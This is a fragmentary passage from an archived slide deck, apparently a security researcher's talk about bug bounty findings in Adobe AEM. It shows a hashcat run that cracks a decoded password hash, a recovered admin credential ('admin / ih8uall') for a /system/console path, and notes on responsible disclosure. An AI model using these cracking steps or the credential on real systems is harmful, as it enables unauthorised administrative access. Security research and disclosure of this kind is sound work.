xxd -p | tr -d '\n')
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-

@fransrosen WTF $ h=$(echo "6J7An/QgzU+j5gr1G0CyEexJ9xkgiIyyUzTcmaCCV
5g=" \ | base64 -D |

xxd -p | tr -d '\n') $ echo $h e89ec09ff420cd4fa3e60af51b40b211ec49f71920888cb25334dc99a082
5798

-

@fransrosen hashcat ftw $ echo $h > hash.txt $ ./hashcat.app

-a 0 -m 1400 hash.txt rockyou.txt

-

@fransrosen hashcat ftw $ echo $h > hash.txt $ ./hashcat.app

-a 0 -m 1400 hash.txt rockyou.txt Status.........: Cracked Started: Thu Sep 13 11:59:23 2018 Stopped:
Thu Sep 13 11:59:25 2018

-

@fransrosen hashcat ftw ih8uall

-

@fransrosen /system/console

-

@fransrosen /system/console admin / ih8uall

-

@fransrosen /system/console

-

@fransrosen /system/console

-

@fransrosen Report 2

-

@fransrosen Report 2

-
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@fransrosen Report 2

-

@fransrosen Public bug bounty programs with AEM Public responsible disclos
ure

Private ones

-

@fransrosen Thanks!

Archived from https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem. Rendered
offline from the local Markdown copy.
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